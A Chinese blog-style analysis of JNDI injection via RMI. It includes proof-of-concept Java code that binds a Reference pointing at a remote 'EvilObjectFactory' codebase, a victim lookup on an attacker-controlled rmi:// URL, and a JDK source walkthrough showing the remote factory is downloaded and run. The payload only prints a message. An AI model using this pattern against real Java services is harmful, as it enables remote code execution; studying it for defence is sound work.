一篇炒冷饭的文章,全当笔记在写了,这个漏洞涉及到 JNDI 与 RMI。 这里我主要只写一些其他的 “JNDI 注入” 分析文章没写过的东西,如果你看的不是很明白的话可以配合其他人写的分析文章一起看。
需要知道的背景知识
JNDI 的概念不细写了,只需要知道我们通过 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS 等所谓 Naming Service 或 DirectoryService 的内容
JNDI API 中涉及到的常见的方法与接口的作用,如:Context.lookup
JNDI 中 ServiceProvider 以及 ObjectFactory 的作用
Reference 类的作用
RMI 的相关基础知识,可以看我另一篇公众号,我记的非常全。
JNDI Service Provider
JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如上面提到的默认的 JNDI Service Provider 有 RMI/LDAP 等等。。
ObjectFactory
每一个 Service Provider 可能配有多个 Object Factory。Object Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。
PoC
public static void main( String\[\] args ) throws Exception
{
// 在本机 1999 端口开启 rmi registry,可以通过 JNDI API 来访问此 rmi registry
Registry registry = LocateRegistry.createRegistry(1999);
// 创建一个 Reference,第一个参数无所谓,第二个参数指定 Object Factory 的类名:
// jndiinj.EvilObjectFactory // 第三个参数是 codebase,表明如果客户端在 classpath 里面找不到 // jndiinj.EvilObjectFactory,则去 http://localhost:9999/ 下载 // 当然利用的时候这里应该是一个真正的 codebase 的地址 Reference ref = new Reference("whatever",
"jndiinj.EvilObjectFactory", "http://localhost:9999/");
// 利用 ReferenceWrapper 将前面的 Reference 对象包装一下
// 因为只为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去 ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evil", wrapper);
}
EvilObjectFactory
代码如下:
public class EvilObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name,
Context nameCtx,
Hashtable<?, ?> environment)
throws Exception {
System.out.println("executed");
return null; }
}
Victim
Victim 需要执行 Context.lookup,并且 lookup 的参数需要我们可控。
public static void main(String\[\] args) throws Exception {
Context ctx = new InitialContext();
// ctx.lookup 参数需要可控
System.out.println(ctx.lookup("rmi://localhost:1999/evil"));
}
我的疑问
最开始看到 PoC 的时候,我以为这是 RMI Class Loading 导致的受害者会去指定的 codebase 下载我们指定的类并去实例化,因为产生了很大的疑惑。
因为 RMI Class Loading 是有条件限制的,比如说默认禁用,以及与 JVM 的 codebase 配置有很大的关系。
PoC 里面向 rmi registry 绑定 ReferenceWrapper 的时候,真正绑定进去的应该是它的 Stub 才对,Stub 的对象是怎么造成客户端的代码执行的。
因为懒,这个疑问一直存在了很长时间,直到我开始正式去调试跟一下这个漏洞看看到底发生了什么。后来我看在 marshalsec 那篇 pdf 里面也提到了这个问题。
Victim 端的触发流程
ctx.lookup 最终会进入 com.sun.jndi.rmi.registry.RegistryContext.lookup。因为传入的 jndi url 是以 rmi:// 开头的。
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
在 lookup 里面通过 this.registry.lookup 查找出远程对象,赋给 var2。这里的 var2 确实是 com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 类型的。证明我的想法是没有错的,存入 rmi registry 的确实是一个 stub。
进入 this.decode
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ?
((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2,
this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
this.decode 内将 stub 还原成了 Reference,这里解决了我一个疑惑。随后进入 NamingManager.getObjectInstance
NamingManager.getObjectInstance 内部发现当前 JVM 中不存在 Reference 中指定的 object factory,就自动去我们指定的 codebase 地址下载(并不是利用的 RMI Class Loading 机制,所以解决了我另一个疑惑)并实例化我们指定的 Object Factory 类,并调用其 javax.naming.spi.ObjectFactory#getObjectInstance 方法。
参考资料